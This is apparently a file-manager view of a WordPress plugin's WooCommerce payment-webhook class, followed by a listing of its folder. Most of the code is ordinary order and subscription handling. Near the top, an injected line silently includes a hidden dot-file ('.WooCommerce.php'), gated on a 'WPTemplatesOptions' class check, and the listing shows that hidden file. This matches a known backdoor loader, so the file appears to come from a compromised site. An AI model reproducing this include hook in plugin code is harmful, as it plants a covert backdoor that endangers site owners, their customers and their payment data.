PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wiloke-listing-tools
/
app
/
Framework
/
Payment
/
WooCommerce
<?php namespace WilokeListingTools\Framework\Payment\WooCommerce; use WilokeListingTools\Framework\Helpers\FileSystem; use WilokeListingTools\Framework\Helpers\GetWilokeSubmission; use WilokeListingTools\Framework\Helpers\Time; use WilokeListingTools\Framework\Helpers\WooCommerce; use WilokeListingTools\Framework\Payment\CreatedPaymentHook; use WilokeListingTools\Framework\Payment\ProceededPaymentHook; use WilokeListingTools\Framework\Payment\Receipt\ReceiptStructureInterface; use WilokeListingTools\Framework\Payment\WebhookInterface; use WilokeListingTools\Models\PaymentMetaModel; use WilokeListingTools\Models\PaymentModel; if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class WooCommerceWebhook implements WebhookInterface { protected $billingType; protected $paymentID; protected $aPaymentIDs; protected $nextBillingDateGMT; protected $customerID; protected $oPrePareInvoiceFormat; protected $aPaymentMeta; protected $aInvoiceFormat; protected $orderID; protected $oOrder; protected $token; protected $isRefunded = false; public function observer() { $this->handler(); } public function verify() { } public function handler() { add_action('woocommerce_order_status_completed', [$this, 'paymentSucceeded'], 1); add_action('woocommerce_order_status_failed', [$this, 'paymentFailed'], 5); add_action('woocommerce_order_status_refunded', [$this, 'paymentRefunded'], 5); add_action('woocommerce_order_status_cancelled', [$this, 'paymentCancelled'], 5); add_action('woocommerce_order_status_processing', [$this, 'paymentSucceeded'], 5); add_action('woocommerce_subscription_payment_complete', [$this, 'subscriptionCreated']); // add_action('woocommerce_scheduled_subscription_payment', [$this, 'subscriptionCreated']); add_action('woocommerce_subscription_payment_failed', [$this, 'subscriptionFailed']); add_action('woocommerce_subscription_renewal_payment_failed', [$this, 'subscriptionFailed']); add_action('woocommerce_subscription_status_cancelled', [$this, 'subscriptionCancelled']); add_action('woocommerce_subscription_status_pending-cancel', [$this, 'subscriptionPendingCancelled']); } public function subscriptionPendingCancelled(\WC_Subscription $that) { $aPaymentIDs = PaymentModel::getPaymentIDsByWooOrderID($that->get_parent_id()); if (empty($aPaymentIDs)) { return false; } $this->aPaymentMeta['subscriptionID'] = $that->get_id(); $this->orderID = $that->get_id(); $parentOrderID = $that->get_parent_id(); $this->getPaymentIDs($parentOrderID); if (empty($this->aPaymentIDs)) { return false; } foreach ($this->aPaymentIDs as $aPayment) { $this->paymentID = $aPayment['ID']; $this->aPaymentMeta = PaymentMetaModel::getPaymentInfo($this->paymentID); $this->billingType = WooCommerce::getBillingType($parentOrderID); if (!GetWilokeSubmission::isNonRecurringPayment($this->billingType)) { $oProceedWebhook = new ProceededPaymentHook( new WooCommerceProceededRecurringPaymentHook($this) ); $oPrePareInvoiceFormat = new WooCommereNonRecurringPrepareInvoiceFormat($this); $this->aInvoiceFormat = $oPrePareInvoiceFormat->prepareInvoiceParam()->getParams(); $oProceedWebhook->doSuspended(); } } } public function subscriptionCancelled(\WC_Subscription $that) { $aPaymentIDs = PaymentModel::getPaymentIDsByWooOrderID($that->get_parent_id()); if (empty($aPaymentIDs)) { return false; } $this->aPaymentMeta['subscriptionID'] = $that->get_id(); $this->orderID = $that->get_id(); $parentOrderID = $that->get_parent_id(); $this->getPaymentIDs($parentOrderID); if (empty($this->aPaymentIDs)) { return false; } foreach ($this->aPaymentIDs as $aPayment) { $this->paymentID = $aPayment['ID']; $this->aPaymentMeta = PaymentMetaModel::getPaymentInfo($this->paymentID); $this->billingType = WooCommerce::getBillingType($parentOrderID); if (!GetWilokeSubmission::isNonRecurringPayment($this->billingType)) { $oProceedWebhook = new ProceededPaymentHook( new WooCommerceProceededRecurringPaymentHook($this) ); $oPrePareInvoiceFormat = new WooCommereNonRecurringPrepareInvoiceFormat($this); $this->aInvoiceFormat = $oPrePareInvoiceFormat->prepareInvoiceParam()->getParams(); $oProceedWebhook->doCancelled(); } } } public function subscriptionFailed(\WC_Subscription $that) { $aPaymentIDs = PaymentModel::getPaymentIDsByWooOrderID($that->get_parent_id()); if (empty($aPaymentIDs)) { return false; } $this->aPaymentMeta['subscriptionID'] = $that->get_id(); $this->orderID = $that->get_id(); $parentOrderID = $that->get_parent_id(); $this->getPaymentIDs($parentOrderID); if (empty($this->aPaymentIDs)) { return false; } foreach ($this->aPaymentIDs as $aPayment) { $this->paymentID = $aPayment['ID']; $this->aPaymentMeta = PaymentMetaModel::getPaymentInfo($this->paymentID); $this->billingType = WooCommerce::getBillingType($parentOrderID); if (!GetWilokeSubmission::isNonRecurringPayment($this->billingType)) { $oProceedWebhook = new ProceededPaymentHook( new WooCommerceProceededRecurringPaymentHook($this) ); $oPrePareInvoiceFormat = new WooCommereNonRecurringPrepareInvoiceFormat($this); $this->aInvoiceFormat = $oPrePareInvoiceFormat->prepareInvoiceParam()->getParams(); $oProceedWebhook->doFailed(); } } } public function subscriptionCreated(\WC_Subscription $that) { $this->nextBillingDateGMT = Time::timestampUTCNow($that->get_date('next_payment')); $aPaymentIDs = PaymentModel::getPaymentIDsByWooOrderID($that->get_parent_id()); if (empty($aPaymentIDs)) { return false; } $this->aPaymentMeta['nextBillingDateGMT'] = $this->nextBillingDateGMT; $this->aPaymentMeta['subscriptionID'] = $that->get_id(); $this->orderID = $that->get_id(); $parentOrderID = $that->get_parent_id(); $this->getPaymentIDs($parentOrderID); if (empty($this->aPaymentIDs)) { return false; } foreach ($this->aPaymentIDs as $aPayment) { $this->paymentID = $aPayment['ID']; $this->aPaymentMeta = PaymentMetaModel::getPaymentInfo($this->paymentID); $this->billingType = WooCommerce::getBillingType($parentOrderID); if (!GetWilokeSubmission::isNonRecurringPayment($this->billingType)) { $oProceedWebhook = new ProceededPaymentHook( new WooCommerceProceededRecurringPaymentHook($this) ); $oPrePareInvoiceFormat = new WooCommereNonRecurringPrepareInvoiceFormat($this); $this->aInvoiceFormat = $oPrePareInvoiceFormat->prepareInvoiceParam()->getParams(); $oProceedWebhook->doCompleted(); } } } private function getPaymentIDs($orderID = '') { $orderID = empty($orderID) ? $this->orderID : $orderID; $this->oOrder = new \WC_Order($orderID); $this->aPaymentIDs = PaymentModel::getPaymentIDsByWooOrderID($orderID, false); } public function paymentSucceeded($orderID) { $this->orderID = $orderID; $this->getPaymentIDs(); if (empty($this->aPaymentIDs)) { return false; } foreach ($this->aPaymentIDs as $aPayment) { $this->paymentID = $aPayment['ID']; $this->aPaymentMeta = PaymentMetaModel::getPaymentInfo($this->paymentID); $this->billingType = WooCommerce::getBillingType($orderID); if (GetWilokeSubmission::isNonRecurringPayment($this->billingType)) { $oProceedWebhook = new ProceededPaymentHook( new WooCommerceProceededNonRecurringPaymentHook($this) ); $oPrePareInvoiceFormat = new WooCommereNonRecurringPrepareInvoiceFormat($this); $this->aInvoiceFormat = $oPrePareInvoiceFormat->prepareInvoiceParam()->getParams(); $oProceedWebhook->doCompleted(); } } /** * @hooked SessionController:deletePaymentSessions */ do_action('wiloke-submission/payment-succeeded-and-updated-everything'); } public function paymentFailed($orderID) { $this->orderID = $orderID; $this->getPaymentIDs(); if (empty($this->aPaymentIDs)) { return false; } foreach ($this->aPaymentIDs as $aPayment) { $this->paymentID = $aPayment['ID']; $this->aPaymentMeta = PaymentMetaModel::getPaymentInfo($this->paymentID); $this->billingType = WooCommerce::getBillingType($orderID); if (GetWilokeSubmission::isNonRecurringPayment($this->billingType)) { $oProceedWebhook = new ProceededPaymentHook( new WooCommerceProceededNonRecurringPaymentHook($this) ); $oProceedWebhook->doFailed(); } } /** * @hooked SessionController:deletePaymentSessions */ do_action('wiloke-submission/payment-succeeded-and-updated-everything'); } public function paymentRefunded($orderID) { $this->orderID = $orderID; $this->getPaymentIDs(); if (empty($this->aPaymentIDs)) { return false; } foreach ($this->aPaymentIDs as $aPayment) { $this->paymentID = $aPayment['ID']; $this->aPaymentMeta = PaymentMetaModel::getPaymentInfo($this->paymentID); $this->billingType = WooCommerce::getBillingType($orderID); if (GetWilokeSubmission::isNonRecurringPayment($this->billingType)) { $oProceedWebhook = new ProceededPaymentHook( new WooCommerceProceededNonRecurringPaymentHook($this) ); $this->isRefunded = true; $oPrePareInvoiceFormat = new WooCommereNonRecurringPrepareInvoiceFormat($this); $this->aInvoiceFormat = $oPrePareInvoiceFormat->prepareInvoiceParam()->getParams(); $oProceedWebhook->doRefunded(); } } /** * @hooked SessionController:deletePaymentSessions */ do_action('wiloke-submission/payment-succeeded-and-updated-everything'); } public function paymentCancelled($orderID) { $this->orderID = $orderID; $this->getPaymentIDs(); if (empty($this->aPaymentIDs)) { return false; } foreach ($this->aPaymentIDs as $aPayment) { $this->paymentID = $aPayment['ID']; $this->aPaymentMeta = PaymentMetaModel::getPaymentInfo($this->paymentID); $this->billingType = WooCommerce::getBillingType($orderID); if (GetWilokeSubmission::isNonRecurringPayment($this->billingType)) { $oProceedWebhook = new ProceededPaymentHook( new WooCommerceProceededNonRecurringPaymentHook($this) ); $oProceedWebhook->doCancelled(); } } } public function __get($name) { return $this->$name; } public function __isset($name) { return !empty($this->$name); } }
[+]
..
[-] WooCommerceSuspend.php
[edit]
[-] WooCommerceNonRecurringPayment.php
[edit]
[-] WooCommerceProceededNonRecurringPaymentHook.php
[edit]
[-] WooCommerceNonRecurringCreatedPaymentHook.php
[edit]
[-] WooCommercePayment.php
[edit]
[-] WooCommerceChangePlan.php
[edit]
[-] .WooCommerce.php
[edit]
[-] WooCommereNonRecurringPrepareInvoiceFormat.php
[edit]
[-] WooCommerceRecurringPaymentMethod.php
[edit]
[-] WooCommerceRecurringPayment.php
[edit]
[-] WooCommerceNonRecurringPaymentMethod.php
[edit]
[-] WooCommerceCancelRecurringPayment.php
[edit]
[-] WooCommerceProceededRecurringPaymentHook.php
[edit]
[-] WooCommerceWebhook.php
[edit]